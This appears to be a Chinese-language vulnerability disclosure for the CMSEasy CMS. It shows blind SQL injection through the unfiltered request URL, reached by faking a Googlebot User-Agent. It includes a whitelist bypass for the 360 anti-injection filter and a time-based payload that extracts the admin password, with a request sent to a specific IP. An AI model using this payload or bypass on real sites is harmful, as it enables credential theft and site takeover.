### 简要描述：
注入..但是木回显 盲注了..
### 详细说明：
index.php 84行
stats::getbot();
由于初始化的时候也没对$_SERVER做过滤的什么措施 导致的注入
stats.php 13行到78行
getbot 这个功能是看蜘蛛的记录
$_SERVER 没过滤
我们只需要把HTTP_USER_AGENT伪造成蜘蛛的就ok了
```
public static function getbot() {
$ServerName = $_SERVER["SERVER_NAME"];
$ServerPort = $_SERVER["SERVER_PORT"];
$ScriptName = $_SERVER["SCRIPT_NAME"];
$QueryString = $_SERVER["QUERY_STRING"];
$serverip = $_SERVER["REMOTE_ADDR"];
$GetLocationURL=self::geturl();
$agent1 = $_SERVER["HTTP_USER_AGENT"];
$agent=strtolower($agent1);
$Bot="";
if(strpos($agent,"googlebot")>-1) {
$Bot = "Google";
}
if(strpos($agent,"mediapartners-google")>-1) {
$Bot = "Google Adsense";
}
if(strpos($agent,"baiduspider")>-1) {
$Bot = "Baidu";
}
if(strpos($agent,"sogou")>-1) {
$Bot = "Sogou";
}
if(strpos($agent,"yahoo")>-1) {
$Bot = "Yahoo!";
}
if(strpos($agent,"msn")>-1) {
$Bot = "MSN";
}
if(strpos($agent,"soso")>-1) {
$Bot = "Soso";
}
if(strpos($agent,"iaarchiver")>-1) {
$Bot = "Alexa";
}
if(strpos($agent,"sohu")>-1) {
$Bot = "Sohu";
}
if(strpos($agent,"sqworm")>-1) {
$Bot = "AOL";
}
if(strpos($agent,"yodaobot")>-1) {
$Bot = "Yodao";
}
if(strpos($agent,"iaskspider")>-1) {
$Bot = "Iask";
}
if(strlen($Bot)>0 &&!front::get('admin_dir')) {
$stats = self::getInstance();
$insert = $stats->rec_insert(array('bot'=>$Bot,'url'=>$GetLocationURL,'ip'=>$serverip,'time'=>date('Y-m-d H:i:s'))); //拼接语句 然后进入了查询 但是并没有回显 我们只好 盲注了。时间的..
}
}
public static function geturl() { 这里 初始化的时候没有过滤..
if(!empty($_SERVER["REQUEST_URI"])) {
$scrtName = $_SERVER["REQUEST_URI"];
$nowurl = $scrtName;
}else {
$scrtName = $_SERVER["PHP_SELF"];
if(empty($_SERVER["QUERY_STRING"])) {
$nowurl = $scrtName;
}else {
$nowurl = $scrtName."?".$_SERVER["QUERY_STRING"];
}
}
return (isset($_SERVER["HTTPS"])&&$_SERVER["HTTPS"] == "on")?'https://':'http://'.$_SERVER['HTTP_HOST'].$nowurl;
}
```
这里还有个引入了360防注入的 很好绕过
```
$webscan_white_url = array(
array('index.php' => 'admin_dir=admin'),
array('index.php' => 'case=file'),
array('post.php' => 'job=postnew&step=post'),
array('edit_space_info.php'=>''),
array('index.php' =>'case=admin')
);
```
里面有个 url 白名单
我们只需要
ndex.php?case=file&case=index
这样就行了. case被后面覆盖了~
exP：
```
/cmseasy/index.php?case=file&case=index&u=',(sELECT(IF(MID(PASSWORD,2,1)>'1',SLEEP(2),'OK'))FROM(cmseasy_operators)),'0')#
```
### 漏洞证明：
```
GET /cmseasy/index.php?case=file&case=index&u=',(sELECT(IF(MID(PASSWORD,2,1)>'1',SLEEP(2),'OK'))FROM(cmseasy_operators)),'0')# HTTP/1.1
Host: 119.99.30.115
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
```
[<img src="https://images.seebug.org/upload/201406/25143851855842af5f0b34087f1b56f71049f301.png" alt="test.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/25143851855842af5f0b34087f1b56f71049f301.png)
[<img src="https://images.seebug.org/upload/201406/25144122df4113533730e3d988f9a02e4002118e.png" alt="11.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/25144122df4113533730e3d988f9a02e4002118e.png)
[<img src="https://images.seebug.org/upload/201406/251443193998bdcf40761aa441ae6ef8b878d8ec.png" alt="aaa.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/251443193998bdcf40761aa441ae6ef8b878d8ec.png)
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